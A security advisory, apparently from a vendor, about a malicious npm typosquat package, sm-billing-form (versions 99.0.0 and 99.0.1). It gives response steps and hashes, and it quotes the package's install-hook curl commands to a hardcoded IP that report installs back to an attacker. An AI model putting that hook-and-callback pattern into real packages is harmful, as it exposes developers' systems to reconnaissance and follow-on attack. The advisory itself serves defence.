Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
Malicious package

sm-billing-formnpm

Advisory published Updated

sm-billing-form is a confirmed malicious npm package (MAL-2026-14395) that typosquats a legitimate package to trick installs (malicious versions 99.0.0, 99.0.1). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in sm-billing-form (npm)

MAL-2026-14395
Immediate action
Remove the package, then rotate any secrets the build/runtime could reach.
npm uninstall sm-billing-form

What this malware does

package.json defines preinstall and postinstall lifecycle scripts that run curl -s http://16.192.173.5/sm-billing-form/pre and curl -s http://16.192.173.5/sm-billing-form/post on npm install. The requests target a hardcoded bare-IP endpoint over cleartext HTTP with no relationship to any documented publisher, and fire automatically as part of the default install. The pattern is a dependency-confusion / typosquat probe: the callback confirms to the operator of 16.192.173.5 which environments resolved the public sm-billing-form name and installed it, disclosing source IP and install timing and enabling targeted follow-on attacks against those hosts. The version number (99.0.0) is consistent with a dependency-confusion lure intended to outrank an internal package of the same name.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

The OpenSSF Package Analysis project identified 'sm-billing-form' @ 99.0.1 (npm) as malicious.

It is considered malicious because:

  • The package executes one or more commands associated with malicious behavior.

Malicious versions

2 flagged
99.0.099.0.1

Indicators of compromise (SHA-256)

422b9f6c71b124deff27a41ef4b595c308595c14af77dbd3756de0e625f86fc2
da27d1a074c3e64edb3f1a248d8d86bc2abdf4bbad8f829211567d8d477e23fb
a67679a3ead3448ddc6b3e62b9dac763b12cf129253be8ae5a4678962db8b4df
05532377799ac53b2d8c7d981cf5c4714e656a575a24ff5fe28255b6b72a211e

Detection & response playbook

Typosquat
  1. Find it

    Search your lockfiles and build artifacts for sm-billing-form (2 malicious versions).

  2. If you installed it — respond

    sm-billing-form is a typosquat — you almost certainly intended a legitimately-named package. Remove sm-billing-form, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.

  3. Did it already run?

    If sm-billing-form was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. sm-billing-form on npm has been identified as a malicious package (versions 99.0.0, 99.0.1 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-018609IN-MAL-2026-018605GHSA-5fmw-xf3x-g32g

References

Credits

  • Amazon Inspector · finder
  • OpenSSF: Package Analysis · finder

Detect & block this

O3 blocks sm-billing-form-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

Explore

sm-billing-form (npm) malicious package — MAL-2026-14395 | O3 Security